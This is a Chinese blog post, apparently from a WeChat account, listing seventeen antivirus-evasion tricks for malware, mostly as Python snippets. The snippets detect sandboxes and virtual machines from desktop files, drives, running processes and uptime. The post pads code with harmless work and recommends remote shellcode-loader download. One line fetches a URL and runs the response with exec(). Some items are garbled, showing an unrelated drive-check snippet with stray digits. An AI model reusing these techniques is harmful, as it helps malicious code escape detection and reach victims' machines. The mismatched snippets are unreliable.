关注本公众号,长期推送技术文章
免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用!!!
思路整理
整理了自己用过的免杀思路,只提供思路。
通过桌面文件数量判断是否为虚拟机
import osdesktop_path = os.path.join(os.path.join(os.environ['USERPROFILE']), 'Desktop')items = os.listdir(desktop_path)file_count = 0for item in items:if os.path.isfile(os.path.join(desktop_path, item)):file_count += 1if file_count > 5:print("条件成立")else:print("条件不成立")
2.通过判断盘符是否为虚拟机(有的虚拟机可能只有一个盘符)
import os# 检查D:驱动器是否存在if os.path.exists('D:/'):print("D:驱动器存在。")else:print("D:驱动器不存在。")
3.通过获取D盘使用率来判断是否为虚拟机
import os# 指定D盘的根目录路径drive_path = 'D:/'# 确保驱动器存在if os.path.exists(drive_path):# 获取D盘根目录下的所有项items = os.listdir(drive_path)# 计算文件夹的数量folder_count = sum(1 for item in items if os.path.isdir(os.path.join(drive_path, item)))# 判断文件夹数量是否超过5个if folder_count > 5:print("条件成立")else:print("条件不成立")else:print("D盘不存在。")
4.在脚本中插入正常功能,比如计算pai的多少位。。
from mpmath import mp# 设置所需的精度(位数)digits = 100000# 设置mpmath的精度(位数)mp.dps = digits # dps是decimal places(小数位)# 计算圆周率pi = mp.pi# 打印圆周率的前10万位print(str(pi))
5.我相信,当下微信、浏览器、等程序已经成了必不可缺的,那么就可以获取当前系统所有进程名,判断是否有指定进行,实现人机区分
import psutil# 列出所有当前运行的进程名称process_names = [proc.name() for proc in psutil.process_iter(['name'])]# 检查是否有qq.exe和edge.exeqq_exists = 'qq.exe' in process_namesedge_exists = 'edge.exe' in process_namesprint(f"QQ.exe {'存在' if qq_exists else '不存在'}")print(f"Edge.exe {'存在' if edge_exists else '不存在'}")
6.多层逻辑包含,使劲叠加if
这个。。。。就不实例了7.获取开机时常,判断是否为虚拟机
import psutilimport datetimeboot_time = psutil.boot_time()current_time = datetime.datetime.now().timestamp()uptime = current_time - boot_timeuptime = datetime.timedelta(seconds=uptime)print("计算机开机时长:", uptime)
8.多层嵌套import(比如用a文件去import b,b去import c)
import b9.进行数学逻辑计算
10.使用小众语言,越小众越好
这个也不示例了11.使用python的特性,代码后面加";"可以多行代码在一行执行
import requests;res = requests.get("https://www.baidu.com");exec(res.text)12.exec执行的不要太明显
import os# 检查D:驱动器是否存在if os.path.exists('D:/'):print("D:驱动器存在。")else:print("D:驱动器不存在。")0
13.建议写一套自己的编码系统,比如,之前写过的玛卡巴卡免杀
14.实在窘迫,就半自动免杀,杀软只检查你程序启动的一刻,并不会全程检查你的程序,做个GUI程序,点击上线。
15.有一些云沙箱的桌面壁纸是固定的,那么可以获取桌面壁纸的md5,判断是否为沙箱
import os# 检查D:驱动器是否存在if os.path.exists('D:/'):print("D:驱动器存在。")else:print("D:驱动器不存在。")1
16.通过检查回收站是否含有垃圾烂判断是否为真机操作
我还是觉得,大部分人没有清理回收站的习惯
import os# 检查D:驱动器是否存在if os.path.exists('D:/'):print("D:驱动器存在。")else:print("D:驱动器不存在。")2
17.分离免杀,调用http服务远程下载shellcode加载器
因为shellcode加载器是一段硬性特征,所以采用远程下载。
先写到这里吧,这以上是我用过的所有手段了,以后有机会再更新。
文末
后台回复“交流群”获取技术交流群链接
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……




还没有评论,来说两句吧...